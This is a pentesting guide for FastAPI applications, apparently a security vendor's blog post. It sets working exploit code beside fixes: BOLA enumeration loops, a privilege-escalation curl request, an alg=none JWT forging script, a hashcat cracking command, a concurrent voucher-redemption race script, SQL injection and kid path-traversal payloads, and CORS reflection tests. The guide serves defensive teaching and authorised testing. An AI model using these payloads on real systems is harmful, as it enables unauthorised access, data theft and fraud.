Pentesting FastAPI Applications in 2026
FastAPI gives you automatic input parsing, OpenAPI documentation, and OAuth2 scaffolding — none of which prevents BOLA, JWT algorithm confusion, mass assignment, or async race conditions. The framework is secure-by-default for transport-layer concerns only. Authorization, token validation, and concurrency-safe state management are entirely your responsibility.
FastAPI Security Model — What the Framework Provides and What It Does Not
FastAPI (0.115+) handles serialization, deserialization, and OpenAPI schema generation through Pydantic v2. The dependency injection system (Depends()) provides a clean path for plugging in authentication. These are genuine advantages over bare WSGI frameworks.
The critical misunderstanding is what FastAPI does not provide:
- No built-in authorization checks.
Depends(get_current_user)confirms identity. It does not verify the authenticated user owns the resource at the path parameter. - No JWT validation. FastAPI provides
OAuth2PasswordBeareras a token extractor — a class that reads theAuthorizationheader. Signature verification, algorithm restriction, and claim validation must be implemented by the developer using a separate library. - No rate limiting. FastAPI has zero built-in throttling. Unauthenticated endpoints are fully open to volumetric abuse.
- No CORS enforcement by default. The
CORSMiddlewaremust be added explicitly, and misconfiguration is straightforward. - No protection against mass assignment. Pydantic validates types and structure, but passing
extra="allow"or using the wrong schema for input makes all extra fields available to the application.
The attack surface of a FastAPI application is primarily determined by developer decisions, not framework defaults. This guide walks through the most impactful vectors with exploit-ready code and verified mitigations.
BOLA in FastAPI (CWE-639, OWASP API1:2023)
Broken Object Level Authorization is the single most exploited API vulnerability category in 2025–2026. FastAPI path parameters make BOLA easy to introduce: every route that accepts {resource_id} without an ownership check is a candidate.
The Vulnerable Pattern
from fastapi import FastAPI, Depends
from sqlalchemy.orm import Session
app = FastAPI()
@app.get("/users/{user_id}/profile")
def get_profile(user_id: int, db: Session = Depends(get_db)):
# No check that the requester owns user_id
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileWith a valid token for any account, an attacker iterates user_id from 1 to N and reads every profile. Sequential integer IDs make enumeration trivial. UUIDs reduce discoverability but do not replace authorization checks.
Exploit Sequence
# Step 1 — authenticate as a low-privilege user
TOKEN=$(curl -s -X POST https://api.target.com/token \
-d "username=attacker&password=password123" | jq -r .access_token)
# Step 2 — iterate resource IDs
for id in $(seq 1 500); do
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.target.com/users/$id/profile \
| grep -v '"detail":"Not found"' && echo " [HIT] user_id=$id"
doneTurbo Intruder (Burp Suite) parallelizes this at hundreds of requests per second.
The Fix
from typing import Annotated
from fastapi import Depends, HTTPException, status
@app.get("/users/{user_id}/profile")
def get_profile(
user_id: int,
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
# Ownership check: principal must own the resource
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(status_code=403, detail="Forbidden")
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileFor deeper coverage, see IDOR / BOLA fundamentals.
BOLA in FastAPI vs Flask
| Aspect | FastAPI | Flask |
|---|---|---|
| Path parameter type enforcement | Automatic (Pydantic) | Manual or via int: converter |
| Auth dependency wiring | Depends() — explicit, composable | Decorators or g.user — ad-hoc |
| OpenAPI exposure of IDs | Auto-documented via /openapi.json | Manual if flask-restx/apispec used |
| BOLA discoverability | High — all routes documented | Lower — no schema by default |
| Detection by scanner | High — schema reveals enumerable IDs | Medium — requires crawling |
FastAPI's /openapi.json endpoint is a gift to attackers: it maps every path parameter, its type, and whether authentication is required. Always audit your OpenAPI schema before shipping.
Pydantic Mass Assignment — extra="allow" and Beyond
Mass assignment occurs when a server accepts client-supplied fields that should not be settable — typically role, is_admin, verified, credits, or balance. Pydantic v2 is strict by default, but developers regularly relax this.
The Vulnerable Configuration
from pydantic import BaseModel
class UserUpdate(BaseModel):
model_config = {"extra": "allow"} # Accepts any field the client sends
name: str
email: str
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserUpdate, db: Session = Depends(get_db)):
user = db.query(User).filter(User.id == user_id).first()
# model_dump() includes the extra fields the client injected
for key, value in payload.model_dump().items():
setattr(user, key, value)
db.commit()
return userExploit
curl -X PUT https://api.target.com/users/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Attacker", "email": "attacker@evil.com", "is_admin": true, "role": "admin"}'If the database model has is_admin and role columns, they will be set.
Less Obvious Variant — Wrong Schema for Input
Even without extra="allow", using the ORM model or the response schema as the input schema leaks privilege fields:
# Dangerous: using the full ORM model as input
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserSchema): # UserSchema includes role, is_admin
...The Fix
from typing import Annotated
from pydantic import BaseModel
class UserUpdateRequest(BaseModel):
model_config = {"extra": "forbid"} # Reject unknown fields with 422
name: str
email: str
# role, is_admin, verified are NOT present here
class UserResponse(BaseModel):
id: int
name: str
email: str
role: str # Visible in response, NOT settable from input
@app.put("/users/{user_id}", response_model=UserResponse)
async def update_user(
user_id: int,
payload: UserUpdateRequest, # Allowlisted input schema
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
...Use separate Pydantic schemas for input, output, and internal representation. Never use a single UserSchema for all three contexts. Learn more about this class of vulnerability at mass assignment.
JWT Vulnerabilities in FastAPI
FastAPI's OAuth2PasswordBearer extracts a bearer token from the Authorization header and passes it to your get_current_user dependency. Everything after that — validation — is your code.
Vulnerability Map
graph TD
A[Client sends JWT] --> B[Algorithm check]
B -->|alg=none accepted| C[Signature bypass -- full auth skip]
B -->|RS256 to HS256 confusion| D[Sign with public key -- auth bypass]
B -->|HS256 weak secret| E[Brute force -- forge any token]
B -->|Algorithm correct| F[Claims check]
F -->|exp missing| G[Token never expires -- replay forever]
F -->|kid injection| H[Path traversal && SSRF via kid param]
F -->|Claims valid| I[Authenticated request]CVE-2024-33663 — python-jose Algorithm Confusion
python-jose through version 3.3.0 (CVE-2024-33663) fails to enforce correct key usage for OpenSSH ECDSA keys and does not adequately validate that the algorithm in the JWT header matches the key type. This enables algorithm confusion attacks where an attacker switches the alg field to bypass signature verification. Severity spreads across three published figures. The NVD page carries a CVSS v3.1 6.5 MEDIUM contributed by CISA-ADP — NIST published no score of its own — while the GitHub advisory carries both a CVSS v3.1 7.4 HIGH and a CVSS v4.0 9.3 CRITICAL for the same defect. The spread is driven by the scoring version, not by a disagreement about the facts. For an internet-facing authentication path, score it on the v4.0 figure.
python-jose 3.4.0 (February 2025) fixes it — JWT signing with a public key is now forbidden. So the remediation is not "migrate or stay exposed": upgrading closes the CVE. FastAPI's documentation previously recommended python-jose; as of 2024 the official docs recommend PyJWT instead, which remains the better destination if you have the budget for it.
CVE-2025-45768 — PyJWT v2.10.1 was found to accept HS256 tokens signed with dangerously short secrets without enforcing a minimum key length (CVSS 7.0 HIGH, disputed). The library delegates key strength choice to the application. PyJWT 2.11.0 added the check: from that release the library warns on a short HMAC key through InsecureKeyLengthWarning, and options={"enforce_minimum_key_length": True} upgrades the warning to an InvalidKeyError. Two caveats decide whether you actually get the protection. On any release before 2.11.0 the option does not exist, and jwt.decode() accepts unknown option keys without complaint — passing it there yields no error, no warning, and no enforcement. On 2.11.0 through 2.12.1 the option is only honoured when set on the PyJWT instance; passed per call it is dropped before the signature check ever sees it. PyJWT 2.13.0 forwards it correctly, which makes 2.13.0 the first release where the one-line form works.
The alg=none Attack
import base64, json
# Decode a real token to get a valid payload
header = base64.b64decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" + "==")
# Modify: set alg to none and elevate role
forged_header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
forged_payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1", "role": "admin", "exp": 9999999999}).encode()
).rstrip(b"=").decode()
# Signature is empty for alg=none
forged_token = f"{forged_header}.{forged_payload}."Vulnerable Token Verification
Be precise about where PyJWT actually breaks, because the folklore is wrong. On PyJWT 2.x, jwt.decode(token, SECRET_KEY) with no algorithms argument does not accept the forged token — it refuses to run at all:
DecodeError: It is required that you pass in a value for the "algorithms"
argument when calling decode().That guard has been mandatory since PyJWT 2.0, and the library's none implementation returns False from verify() unconditionally, so an alg=none token cannot pass signature verification even when none is explicitly allowlisted. The residual exposure in a FastAPI codebase is therefore not a forgotten parameter — it is code that switches verification off, which is what the forged token above actually walks through:
import jwt # PyJWT
# VULNERABLE: signature verification disabled
# Usually added as a "temporary" debug shortcut during an integration, then shipped.
def get_current_user(token: str = Depends(oauth2_scheme)):
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Ignored once the option below is set
options={"verify_signature": False},
)
return payloadVerified against the PyJWT 2.10.1 release: this call accepts the alg=none token forged above and returns {'sub': '1', 'role': 'admin', ...}. It also accepts a token with exp in the past — disabling signature verification disables the claim checks that depend on it, so a single flag removes both authentication and expiry in one move.
The other live path is a library that does not fail closed. python-jose (CVE-2024-33663) is the reason the FastAPI documentation moved to PyJWT; if you inherit a codebase still importing jose, treat every decode() call site as unverified until proven otherwise.
Secure Token Verification
import jwt
from jwt.exceptions import InvalidTokenError
SECRET_KEY = os.environ["JWT_SECRET"] # Never hardcode
ALGORITHM = "HS256"
def get_current_user(token: str = Depends(oauth2_scheme)):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Explicit allowlist — never omit this
options={"require": ["exp", "sub", "iat"]}, # Enforce mandatory claims
)
except InvalidTokenError as exc:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid token", # Generic — do not echo the exception message
headers={"WWW-Authenticate": "Bearer"},
)
return payloadFor a deeper breakdown of JWT attack vectors including kid injection and JKU manipulation, see JWT vulnerabilities and JWT alg=none.
HS256 secret strength: Use a minimum 32-character random secret. A weak secret like secret, changeme, or a dictionary word can be cracked with hashcat mode 16500 in seconds on a consumer GPU:
hashcat -a 0 -m 16500 target.jwt /usr/share/wordlists/rockyou.txtAsync Race Conditions — TOCTOU in FastAPI
FastAPI async handlers run on a single event loop thread. When an await yields control, another coroutine can execute and modify shared state. This creates a Time-of-Check to Time-of-Use window that is exploitable with concurrent requests.
Vulnerable Pattern — Double Spend
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# CHECK: is the voucher still valid?
voucher = await db.get(Voucher, code)
if voucher.used:
raise HTTPException(status_code=400, detail="Already used")
# <<< await here yields control to the event loop >>>
# Another request for the same code can pass the check above
await asyncio.sleep(0) # Simulates any I/O operation
# USE: mark as used (race window — two requests can reach here)
voucher.used = True
current_user.credits += voucher.amount
await db.commit()Exploit with Parallel Requests
import asyncio, httpx
async def exploit():
async with httpx.AsyncClient() as client:
# Fire 20 concurrent redemption requests for the same voucher
tasks = [
client.post(
"https://api.target.com/redeem-voucher",
json={"code": "PROMO50"},
headers={"Authorization": f"Bearer {TOKEN}"},
)
for _ in range(20)
]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r.status_code == 200]
print(f"Redeemed {len(successes)} times with a single-use code")
asyncio.run(exploit())The Fix — Database-Level Atomicity
from sqlalchemy import update
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# Atomic compare-and-set: only succeeds if used=False right now
result = await db.execute(
update(Voucher)
.where(Voucher.code == code, Voucher.used == False)
.values(used=True)
.returning(Voucher.amount)
)
row = result.fetchone()
if row is None:
raise HTTPException(status_code=400, detail="Voucher invalid or already used")
# Credit in SQL as well. A Python-side `current_user.credits += row.amount`
# is a read-modify-write on a loaded object and reopens the same lost-update
# race for a user redeeming two vouchers concurrently.
await db.execute(
update(User)
.where(User.id == current_user.id)
.values(credits=User.credits + row.amount)
)
await db.commit()For background tasks, the risk differs: BackgroundTasks runs after the response is sent, in the same worker process. If the process restarts, the task is lost with no retry and no visibility. Never place credit adjustments, email sending, or audit log writes in BackgroundTasks without an idempotency key and a fallback queue. See race conditions for broader context.
Additional async pitfall: using threading.Lock() in an async def endpoint blocks the entire event loop — use asyncio.Lock() instead.
SQLAlchemy Injection in FastAPI
SQLAlchemy's ORM is injection-safe by default. The injection surface is text() with string interpolation — a pattern that bypasses all parameterization.
Vulnerable Code
from sqlalchemy import text
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
# VULNERABLE: f-string injects user input directly into SQL
query = text(f"SELECT * FROM users WHERE name LIKE '%{term}%'")
result = await db.execute(query)
return result.fetchall()Payload: term = %' UNION SELECT username, password, null FROM users --
Secure Version
from sqlalchemy import text, select
from sqlalchemy.orm import DeclarativeBase
# Option 1 — parameterized text()
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
query = text("SELECT id, name, email FROM users WHERE name LIKE :pattern")
result = await db.execute(query, {"pattern": f"%{term}%"})
return result.fetchall()
# Option 2 — ORM query (preferred)
@app.get("/search-orm")
async def search_users_orm(term: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
select(User).where(User.name.ilike(f"%{term}%")) # ilike uses parameterized binding
)
return result.scalars().all()Dynamic column names and table names cannot be parameterized — they must be validated against an explicit allowlist:
ALLOWED_SORT_COLUMNS = {"name", "created_at", "email"}
@app.get("/users")
async def list_users(sort_by: str = "name", db: AsyncSession = Depends(get_db)):
if sort_by not in ALLOWED_SORT_COLUMNS:
raise HTTPException(status_code=400, detail="Invalid sort column")
# Safe: column name comes from allowlist, not raw user input
result = await db.execute(text(f"SELECT * FROM users ORDER BY {sort_by}"))
return result.fetchall()Learn more about injection patterns at SQL injection.
CORS Misconfiguration
FastAPI's CORSMiddleware is not active by default. When developers add it to fix a browser CORS error during development, they frequently use the path of least resistance:
from fastapi.middleware.cors import CORSMiddleware
# DANGEROUS development config that ships to production
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # Any origin
allow_credentials=True, # Cookies and Authorization headers
allow_methods=["*"], # Any HTTP method
allow_headers=["*"], # Any header
)This configuration is not neutralized by the framework, and that misconception is worth dismantling carefully, because it is the reason wildcard-plus-credentials survives code review.
FastAPI re-exports Starlette's CORSMiddleware unchanged. That middleware sets Access-Control-Allow-Credentials: true from the value of allow_credentials alone — no other condition, and nothing later removes it. When the wildcard is combined with credentials, the middleware additionally replaces the * with the requesting origin on any request that carries a Cookie header. Running the exact configuration above against starlette 0.50.0 / fastapi 0.128.0:
GET /me
Origin: https://attacker.com
Cookie: session=<victim session>
HTTP/1.1 200 OK
access-control-allow-origin: https://attacker.com
access-control-allow-credentials: true
vary: Origin
{"email":"victim@corp.example","api_token":"<the victim's real token>"}The preflight behaves the same way: OPTIONS from https://attacker.com returns 200 with the explicit origin, access-control-allow-credentials: true, and — because allow_headers=["*"] mirrors whatever was requested — access-control-allow-headers: authorization.
The rule the configuration appears to violate is real, but it is a client-side rule. The Fetch spec makes a credentialed response unreadable when Access-Control-Allow-Origin is *, so a browser would indeed block the read. Starlette simply never sends * on the requests that carry a cookie, so that check never fires. allow_origins=["*"] with allow_credentials=True is authenticated origin reflection, written in two lines of configuration. If it is running in production today, it is a live cross-origin read of every cookie-authenticated endpoint — not a lint warning to schedule.
One qualifier when testing: the substitution is triggered by a Cookie request header specifically. An API whose sessions live in a bearer token that the browser does not attach automatically will still be answered with * — but the attacker has no token to replay in that case either. Cookie-authenticated APIs are the exploitable population.
The same response headers can also be produced by hand, which is how this appears in code that predates CORSMiddleware:
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.requests import Request
class BadCORSMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
# VULNERABLE: any origin becomes trusted
origin = request.headers.get("origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return responseWith either the wildcard configuration above or this hand-rolled variant, a malicious page at https://attacker.com can make credentialed requests to the target API and read responses. This is a classic CSRF escalation — the attacker reads state in addition to triggering mutations. See CSRF for full exploitation details.
Secure Configuration
ALLOWED_ORIGINS = [
"https://app.yourdomain.com",
"https://admin.yourdomain.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # Explicit allowlist
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
max_age=600,
)The invariant to enforce in review: allow_credentials=True and allow_origins=["*"] must never appear in the same call. If an endpoint genuinely needs to serve every origin, drop the credentials flag instead — an API safe to expose to the whole web is by definition one that carries no ambient authority.
For staging and preview environments, allow_origin_regex is the supported way to admit your own subdomains. Starlette evaluates it with re.fullmatch, so the pattern is anchored for you; the residual risk is a pattern that is too broad, not one that is unanchored. Escape the separating dot — https://.*\.yourdomain\.com rejects https://evilyourdomain.com, while https://.*yourdomain\.com accepts it. Never allowlist null, which maps to file:// origins and sandboxed iframes.
Dependency Injection Security — Depends() Bypass Patterns
FastAPI's Depends() system is elegant and composable, which creates a specific failure mode: optional authentication that becomes effectively no authentication.
The auto_error=False Footgun
from fastapi.security import OAuth2PasswordBearer
# With auto_error=False, missing tokens return None instead of 401
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/token", auto_error=False)
async def get_optional_user(token: str | None = Depends(oauth2_scheme)) -> User | None:
if token is None:
return None
return verify_token(token)
# VULNERABLE: developer forgot to handle the None case
@app.get("/dashboard/stats")
async def get_stats(user: User | None = Depends(get_optional_user)):
# user can be None here — endpoint is unauthenticated
return db.query(SensitiveStats).all()The Bypassed Dependency Pattern
FastAPI evaluates dependencies top-down. A common pattern where auth lives in a sub-dependency creates a silent bypass risk:
async def get_current_user(token: str = Depends(oauth2_scheme)):
if not token:
return None # Forgot to raise here
return verify_and_return_user(token)
async def require_auth(user: User = Depends(get_current_user)):
# This check is fine
if user is None:
raise HTTPException(status_code=401)
return user
# BUT: if someone wires get_current_user directly instead of require_auth...
@app.delete("/admin/users/{user_id}")
async def delete_user(user_id: int, user = Depends(get_current_user)): # Bug: wrong dep
# user can be None — deletes without auth
db.query(User).filter(User.id == user_id).delete()Pentest check: replay every sensitive endpoint without the Authorization header. Any 200 response indicates a broken dependency chain.
Rate Limiting Gap
FastAPI has no built-in rate limiting. Every endpoint is open to full-speed enumeration unless you add it explicitly. The gap affects:
- Login endpoints — credential stuffing
- Password reset — OTP/link enumeration
- Resource enumeration — BOLA automation
- Search endpoints — data harvesting
SlowAPI — The Standard Solution (Single Process)
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
@app.post("/token")
@limiter.limit("5/minute") # Per IP, per minute
async def login(request: Request, form_data: OAuth2PasswordRequestForm = Depends()):
...Production — Redis-Backed Distributed Rate Limiting
from slowapi import Limiter
from slowapi.util import get_remote_address
# Redis storage ensures limits are shared across all worker processes and pods
limiter = Limiter(
key_func=get_remote_address,
storage_uri="redis://redis:6379/0",
)In Kubernetes with 5 replicas, a 5/minute per-IP limit with in-memory storage becomes effectively 25/minute. Redis storage enforces the limit globally. For production APIs, prefer gateway-level rate limiting (Traefik, Kong, Nginx) as a defense-in-depth layer that cannot be bypassed by attacking a pod directly.
Pentesting Methodology for FastAPI Applications
A structured FastAPI engagement follows this sequence, mapping to OWASP API Top 10 2023:
Phase 1 — Discovery
- Retrieve
/openapi.jsonand parse all routes, parameters, schemas, and security definitions. - Identify all path parameters, especially those that look like resource IDs (
{user_id},{order_id},{document_id}). - Check whether
/docs(Swagger UI) and/redocare exposed in production — they should not be. - Enumerate shadow endpoints by fuzzing common paths not in the OpenAPI spec.
Phase 2 — Authentication Testing
- Test every endpoint without an Authorization header. Check for 200 on endpoints that should require auth (broken
auto_error=Falsechains). - Extract the JWT algorithm from the token header. Attempt
alg=noneand algorithm confusion (RS256 to HS256). - Attempt HS256 brute force with common wordlists (
hashcat -m 16500). - Verify
expenforcement: submit a token withexpset to a past timestamp. - Verify
kidhandling: submit tokens withkidset to path traversal payloads (../../dev/null,../../../etc/passwd).
Phase 3 — Authorization (BOLA / BFLA)
- For each path parameter, substitute your resource ID with IDs owned by other test accounts. Confirm that 403 is returned — not 200 or 404 with data in the body.
- Test vertical privilege escalation: submit requests from a standard user account to endpoints documented or discovered as admin-only.
- Test scope: if OAuth2 scopes are defined in the OpenAPI spec, verify that tokens without the required scope are rejected.
Phase 4 — Input and Injection
- Submit extra fields (
is_admin,role,verified,credits) to every POST and PUT endpoint. Check whether they appear in subsequent GET responses. - Test every string parameter with SQL injection payloads:
' OR '1'='1,' UNION SELECT null --. - Test every search or filter parameter with ReDoS payloads:
aaaaaaaaaaaaaaaaaaaaaaaband longer — watch for timeout.
Phase 5 — Race Conditions
- Identify any endpoint that performs a check before a write: voucher redemption, promo code use, credit transfer, account upgrade.
- Use Turbo Intruder "race-single-packet attack" or parallel
asynciorequests to hit the TOCTOU window.
Phase 6 — Infrastructure
- Verify CORS: send cross-origin requests with
Origin: https://attacker.comto all API endpoints, and send them with a valid session cookie. Starlette answers a cookieless request underallow_origins=["*"]withAccess-Control-Allow-Origin: *, so testing without credentials produces a false negative on exactly the configuration you are hunting. The finding isAccess-Control-Allow-Originechoing your origin together withAccess-Control-Allow-Credentials: true. - Verify rate limiting: send 100 rapid requests to login, OTP verification, and password reset endpoints. Any that succeed beyond 10–20 without a 429 lack rate limiting.
- Check python-multipart version:
pip show python-multipart. Versions below 0.0.7 are vulnerable to CVE-2024-24762.
How BreachVex Tests FastAPI Applications
BreachVex's automated pipeline detects FastAPI via the /openapi.json endpoint and /docs interface fingerprint. Once identified, a FastAPI-specific probe set activates:
BOLA probe: The endpoint-mapping stage extracts all path parameters from the OpenAPI schema. The BOLA-testing stage iterates IDs from 1 to 200 (and UUID patterns where applicable) across every parameterized endpoint, correlating responses to confirm data leakage.
JWT manipulation: The authentication-testing stage extracts the JWT from an authenticated session, decodes the header, and generates three forged variants: alg=none, HS256 signed with top-100 weak secrets, and an expired token with exp removed. All three are replayed against every authenticated endpoint.
Mass assignment: Every POST and PUT endpoint receives a request with the documented fields plus a set of privilege-escalation fields (role, is_admin, verified, admin, superuser, permissions, credits, balance). The response is compared to a baseline GET for the same resource to detect field persistence.
ReDoS probe (CVE-2024-24762): If the application accepts form data, a crafted Content-Type header with catastrophic backtracking input is sent. A response timeout exceeding 5 seconds is flagged as a confirmed finding with the CVE reference.
Proof of exploit: findings that reach the priority queue carry a curl command that reproduces the vulnerability from zero — no tooling required. Findings the engine cannot reproduce are quarantined in a separate annex rather than promoted into the queue, so an occasional real vulnerability lands in the annex instead of at the top of the report.
CVE Reference Summary
| CVE | Component | CVSS | Fixed In | Impact |
|---|---|---|---|---|
| CVE-2024-24762 | python-multipart < 0.0.7 | 7.5 HIGH | python-multipart 0.0.7 / FastAPI 0.109.1 | ReDoS via Content-Type header — full DoS |
| CVE-2024-33663 | python-jose ≤ 3.3.0 | 6.5 MEDIUM (CISA-ADP, v3.1) / 7.4 HIGH (GHSA, v3.1) / 9.3 CRITICAL (GHSA, v4.0) | python-jose 3.4.0 — or migrate to PyJWT | Algorithm confusion — auth bypass |
| CVE-2025-45768 | PyJWT ≤ 2.10.1 | 7.0 HIGH (CISA-ADP) — disputed by the maintainer | PyJWT 2.13.0 with options={"enforce_minimum_key_length": True} — 2.11.0–2.12.1 only warn under that call form; on 2.10.1 the option is accepted and ignored | Weak HS256 secrets not rejected |
| CVE-2025-46814 | fastapi-guard < 2.0.0 | 7.5 HIGH (NVD) / 3.4 LOW (vendor) | fastapi-guard 2.0.0 | X-Forwarded-For injection — IP bypass |
| CVE-2022-29217 | PyJWT ≥ 1.5.0, < 2.4.0 | 7.5 HIGH | PyJWT 2.4.0 | Algorithm confusion — RS256 to HS256 |
Two rows carry a spread that is not an editorial choice. For CVE-2024-33663 the spread comes from the scoring version rather than from a dispute: the GitHub advisory itself publishes a v3.1 7.4 HIGH and a v4.0 9.3 CRITICAL for the same defect, and the 6.5 MEDIUM on the NVD page is CISA-ADP's v3.1 score, not one NIST produced. For CVE-2025-46814, NVD scores 7.5 HIGH while the maintainer's own advisory scores the same defect 3.4 LOW, citing attack complexity and required user interaction. Where a scanner and a vendor disagree by that margin, rank on your own exposure, not on the number your tooling happens to import.
Frequently Asked Questions
- What is the most common critical vulnerability in FastAPI applications?
- BOLA (Broken Object Level Authorization, CWE-639) is the most prevalent critical finding. FastAPI does not enforce ownership checks on path parameters — the developer must add them explicitly. An endpoint like GET /users/{user_id} that returns data without comparing user_id to the authenticated principal is vulnerable by default.
- Does FastAPI protect against JWT alg=none attacks out of the box?
- No. FastAPI has no built-in JWT validation. The protection depends entirely on the library you choose. python-jose through version 3.3.0 has CVE-2024-33663 (algorithm confusion). The FastAPI documentation was updated to recommend PyJWT instead. PyJWT 2.x does fail closed on this specific point: omitting the algorithms parameter raises a DecodeError instead of accepting the token, and its none implementation always fails verification. What still bypasses it is application code that passes options={'verify_signature': False} — a debug shortcut that also silently disables expiry checking. Pass algorithms=['HS256'] explicitly and never turn signature verification off.
- How do I test for Pydantic mass assignment in FastAPI?
- Send a POST or PUT request with extra fields beyond the documented schema: role, is_admin, credits, verified. If the server accepts and persists them, the model uses extra='allow' or is not used as the authoritative input schema. Combine with checking whether the response model differs from the input model.
- What is CVE-2024-24762 and which FastAPI versions are affected?
- CVE-2024-24762 is a ReDoS vulnerability in python-multipart (the form data parser used by FastAPI and Starlette). A malicious Content-Type header causes catastrophic backtracking in the regex engine, stalling the server indefinitely. CVSS 7.5 HIGH. Affected: FastAPI below 0.109.1 and python-multipart below 0.0.7. Upgrade immediately.
- Can CORS wildcard `allow_origins=['*']` be combined with credentials in FastAPI?
- The browser refuses to let a page read a credentialed response whose Access-Control-Allow-Origin is a wildcard — but that rule is enforced client-side, and FastAPI does not enforce it server-side. FastAPI re-exports Starlette's CORSMiddleware unchanged, and that middleware sets Access-Control-Allow-Credentials: true from allow_credentials alone; nothing ever removes it. Combined with allow_origins=['*'], any request carrying a Cookie header receives the requesting origin echoed back in place of the wildcard. Measured on starlette 0.50.0 / fastapi 0.128.0: a GET with Origin: https://attacker.com and a session cookie returns access-control-allow-origin: https://attacker.com, access-control-allow-credentials: true, and the private response body. The combination is not neutralized — it is authenticated origin reflection. Whenever allow_credentials=True, pass an explicit list of origins.
- What is the TOCTOU race condition risk in FastAPI async endpoints?
- FastAPI async endpoints run on a single event loop thread using cooperative multitasking. When you perform a check in one await and an action in a second await, another coroutine can modify shared state in between. Classic exploitation: check-balance then deduct-balance with concurrent requests, or check-promo-code then redeem-promo-code. The window is narrow but reliably exploitable with Turbo Intruder or parallel curl.
- How does SQLAlchemy text() with f-strings lead to SQL injection?
- SQLAlchemy's text() function creates a literal SQL fragment. If you interpolate user input with an f-string — text(f"SELECT * FROM users WHERE name LIKE '%{term}%'") — the input bypasses SQLAlchemy's parameterization entirely and is executed as raw SQL. Use named bind parameters instead: text('SELECT * FROM users WHERE name LIKE :term') with {'term': f'%{term}%'}.
- What is the OAuth2PasswordBearer auto_error=False footgun?
- When OAuth2PasswordBearer is initialized with auto_error=False, missing credentials return None instead of raising 401. If the downstream route handler does not explicitly check for None, the endpoint silently becomes unauthenticated. This pattern is intended for optional authentication but is regularly misused in endpoints that should always require auth.
- Is SlowAPI sufficient for production rate limiting on FastAPI?
- SlowAPI works for single-process deployments. In multi-worker or multi-instance deployments (Gunicorn + multiple Uvicorn workers, Kubernetes with N pods), each process maintains its own in-memory counter. The effective rate limit becomes N * configured_limit. Redis-backed storage solves this: use SlowAPI with storage_uri pointing to Redis, or use a gateway-level solution (Nginx, Traefik, Kong, Cloudflare).
- Does BreachVex test FastAPI-specific vulnerabilities in automated scans?
- Yes. BreachVex's pipeline includes framework fingerprinting that detects FastAPI via /openapi.json and /docs. Once identified, the scanner enables FastAPI-specific probes: BOLA enumeration against all path parameters, JWT manipulation (alg=none, HS256 brute force, exp removal), Pydantic mass assignment fuzzing, CORS reflection tests, and dependency injection bypass checks.